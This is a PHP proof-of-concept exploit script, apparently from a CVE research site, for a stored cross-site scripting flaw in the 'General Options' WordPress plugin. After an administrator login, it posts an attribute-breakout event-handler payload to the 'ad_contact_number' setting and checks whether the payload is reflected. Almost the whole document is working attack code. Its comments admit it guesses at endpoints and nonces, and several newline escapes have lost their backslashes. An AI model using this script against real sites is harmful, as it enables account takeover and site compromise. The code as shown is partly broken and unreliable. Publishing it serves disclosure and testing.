CVE-2026-6399: General Options <= 1.1.0 – Authenticated (Administrator+) Stored Cross-Site Scripting via 'ad_contact_number' Parameter (general-options)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6399 - General Options <= 1.1.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'ad_contact_number' Parameter

// Configuration: Set the target WordPress site URL and admin credentials
$target_url = 'http://example.com';  // Change this to the target WordPress site URL
$admin_username = 'admin';           // Administrator username
$admin_password = 'password';        // Administrator password

// The vulnerable parameter name
$param_name = 'ad_contact_number';

// Payload: double-quote to break out of the HTML attribute context and inject JavaScript
// sanitize_text_field() strips HTML tags, so we cannot use <script> tags.
// Instead, we use a double-quote to close the attribute, then add an event handler.
$payload = '" onclick=alert(document.domain) x=';

echo "[+] CVE-2026-6399 Proof of Conceptn";
echo "[+] Target: $target_urlnn";

// Step 1: Authenticate as administrator
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $admin_username,
    'pwd' => $admin_password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve-2026-6399-cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code !== 200) {
    die("[-] Failed to authenticate. HTTP code: $http_coden");
}
echo "[+] Authenticated successfully as $admin_usernamen";

// Step 2: Detect the plugin settings page URL
// The plugin likely registers a menu page under Settings or Options.
// Common patterns: /wp-admin/admin.php?page=general-options or /wp-admin/options-general.php?page=general-options
$settings_url_attempts = array(
    $target_url . '/wp-admin/admin.php?page=general-options',
    $target_url . '/wp-admin/options-general.php?page=general-options',
    $target_url . '/wp-admin/admin.php?page=general_options'
);

$settings_page_url = null;
foreach ($settings_url_attempts as $url) {
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, false);
    curl_setopt($ch, CURLOPT_HTTPGET, true);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    if ($http_code === 200 && strpos($response, 'general-options') !== false) {
        $settings_page_url = $url;
        break;
    }
}

if ($settings_page_url === null) {
    // If automatic detection fails, assume a common default
    $settings_page_url = $target_url . '/wp-admin/options-general.php?page=general-options';
    echo "[!] Could not detect settings page; assuming $settings_page_urln";
} else {
    echo "[+] Detected settings page: $settings_page_urln";
}

// Step 3: Submit the payload to the vulnerable field
// The plugin likely uses a form POST to its own admin page.
// We need to determine the exact action URL and nonce.
// For this PoC, we attempt to POST directly to the settings page with the payload.
// The plugin may handle saving via admin-post.php or direct POST to the settings page.

// Attempt 1: Direct POST to the settings page (common for simple plugins)
curl_setopt($ch, CURLOPT_URL, $settings_page_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    $param_name => $payload,
    'option_page' => 'general-options',
    'action' => 'update',
    '_wpnonce' => ''  // Nonce may be required; we attempt without first
)));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-6399-cookies.txt');
$response = curl_exec($ch);

// Check if the payload was stored by visiting a page that outputs it.
// The vulnerable output likely appears on the same settings page.
// We re-fetch the settings page and verify the payload is reflected.
curl_setopt($ch, CURLOPT_URL, $settings_page_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);

if (strpos($response, $payload) !== false) {
    echo "[+] Exploit successful! Payload injected.n";
    echo "[+] Payload: $payloadn";
    echo "[+] Visit $settings_page_url as an administrator to trigger XSS.n";
} else {
    echo "[-] Exploit may have failed. The payload was not reflected in the response.n";
    echo "[!] This may be due to nonce validation or incorrect request format.n";
    echo "[!] Try using the WordPress admin interface directly with the payload as the ad_contact_number value.n";
}

curl_close($ch);
?>